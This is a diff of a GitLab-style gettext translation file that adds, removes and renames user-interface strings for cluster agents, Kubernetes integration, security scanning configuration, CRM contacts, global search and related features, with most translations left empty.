+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7447,6 +7585,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7456,28 +7597,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7489,6 +7633,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7501,60 +7648,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7696,15 +7861,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7831,9 +7999,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7879,12 +8044,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7906,9 +8065,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8209,6 +8365,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8263,6 +8422,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8320,9 +8482,6 @@ msgstr ""
msgid "Code"
msgstr "Kod"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8359,6 +8518,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8785,6 +8947,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8797,6 +8965,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8836,9 +9007,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9553,7 +9721,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9709,6 +9877,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9868,6 +10039,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9901,9 +10075,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10123,6 +10294,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10513,6 +10714,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11161,6 +11365,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11182,6 +11389,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11236,9 +11446,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11284,6 +11491,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11404,6 +11617,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11419,19 +11635,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11674,9 +11896,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11908,7 +12127,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12178,6 +12397,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12346,6 +12568,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12436,9 +12661,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12472,6 +12694,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12550,9 +12775,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12646,6 +12877,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12661,6 +12895,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12682,6 +12919,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12781,9 +13021,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12835,6 +13072,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12856,6 +13096,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12928,6 +13171,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13102,6 +13348,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13186,16 +13438,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13435,9 +13684,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13486,9 +13732,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr "Problem pri uklanjanju zadatka iz epika."
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "Ovi datumi utiÄu na to kako se epici pojavljuju u planu projekta. Datumi iz ciljeva se preuzimaju iz ciljeva koji su dodijeljeni zadacima u epiku. MožeÅ¡ postaviti i fiksne datume ili ih u potpunosti ukloniti."
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13825,7 +14068,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14008,9 +14251,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14128,6 +14368,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14203,6 +14449,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14320,6 +14572,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14386,6 +14641,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14398,9 +14656,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14842,6 +15097,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14938,15 +15196,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15025,6 +15274,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15238,6 +15490,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15343,9 +15598,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15619,9 +15871,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15793,6 +16042,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15856,6 +16108,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16027,6 +16282,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16174,7 +16474,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16231,6 +16543,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16495,7 +16810,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16795,6 +17110,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16972,7 +17293,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16987,7 +17311,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17086,6 +17413,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17353,7 +17683,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17392,6 +17722,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18172,7 +18505,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18337,9 +18673,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18403,6 +18736,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18619,12 +18955,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18742,6 +19084,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18757,6 +19102,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18787,7 +19138,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18844,7 +19198,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18982,22 +19336,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19012,9 +19363,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19033,9 +19381,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19222,6 +19567,9 @@ msgstr ""
msgid "Issue first deployed to production"
